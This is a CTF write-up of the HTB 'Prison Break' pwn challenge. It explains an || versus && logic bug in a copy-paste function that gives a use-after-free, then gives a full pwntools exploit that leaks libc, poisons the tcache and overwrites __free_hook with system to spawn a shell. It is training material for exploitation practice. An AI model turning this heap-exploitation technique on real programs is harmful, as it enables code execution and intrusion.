Prison Break - HTB pwn challenge
-
Summary
- Discover bad if check in copy paste functionality –> exploit it to get an arbitrary free and write
- This is a regular heap challenge, except that in the copy-paste function, the following code is being used:
-
void copy_paste(void) { long in_FS_OFFSET; int id; int id2; long canary; canary = *(long *)(in_FS_OFFSET + 0x28); id = 0; id2 = 0; puts("Copy index:"); __isoc99_scanf("%d",&id); if ((id < 0) || (9 < id)) { error("Index out of range"); } else { puts("Paste index:"); __isoc99_scanf("%d",&id2); if ((id2 < 0) || (9 < id2)) { error("Index out of range"); } // VULNERABILITY HERE, SHOULD HAVE USED && else if ((Chunks[id] == (char *)0x0) || (Chunks[id2] == (char *)0x0)) { error("Invalid copy/paste index"); } else if ((Chunks[id][0x10] == '\0') && (Chunks[id2][0x10] == '\0')) { error("Journal index not in use"); } else if (*(ulong *)(Chunks[id2] + 8) < *(ulong *)(Chunks[id] + 8)) { error("Copy index size cannot be larger than the paste index size"); } else { *(int *)(Chunks[id2] + 0x14) = day; memcpy(*(void **)Chunks[id2],*(void **)Chunks[id],*(size_t *)(Chunks[id] + 8)); puts("Copy successfull!\n"); } } if (canary != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; }
-
- The || check instead of && allows us to write into any chunk that’s not in use as long as the other is in use. this is also a [UAF](Use After Free) bug.
-
It’s trivial to achieve an arbitrary write; The logic bug in copy_paste will be used once again. This time, copying data from a valid chunk into a freed one, and overwriting its next pointer field. This way, after removing the chunk with the poisoned pointer from the freelist, the next allocation will end up wherever we point it to. Well, almost. We need to keep in mind that the chunk we are trying to allocate looks like an actual chunk, that has a valid size. We can shift the address by a few bytes in order to make that happen.
- source: HTB University CTF Solutions
- exploit.py:
-
from pwn import * context.binary = binary = ELF("./prison_break") libc = ELF("./glibc/libc.so.6") p = process() # few helper functions def alloc(i, size, data=b'aaa'): p.sendlineafter(b'# ', b'1') p.sendlineafter(b':', str(i).encode()) p.sendlineafter(b':', str(size).encode()) p.sendlineafter(b':', data) def delete(i): p.sendlineafter(b'# ', b'2') p.sendlineafter(b':', str(i).encode()) def view(i): p.sendlineafter(b'# ', b'3') p.sendlineafter(b':', str(i).encode()) p.recvuntil(b':\n') return p.recvline() def copy(copy_idx, paste_idx): p.sendlineafter(b'# ', b'4') p.sendlineafter(b':', str(copy_idx).encode()) p.sendlineafter(b':', str(paste_idx).encode()) for i in range(10): alloc(i, 0x80) for i in range(1, 9): delete(i) # fill up tcache freelist copy(8, 0) libc.address = u64(view(0)[:-1].ljust(8, b'\x00')) - 0x3ebca0 log.success(f"Libc base: {hex(libc.address)}") __free_hook = libc.sym.__free_hook alloc(1, 0x70, data=p64(__free_hook-0xb)) copy(1, 7) alloc(2, 0x80) # get first chunk out of freelist alloc(3, 0x80, data=b'A'*0xb + p64(libc.sym.system)) # overwrite __free_hook and pad for that size alloc(4, 0x80, data=b'/bin/sh\0') delete(4) p.interactive()
-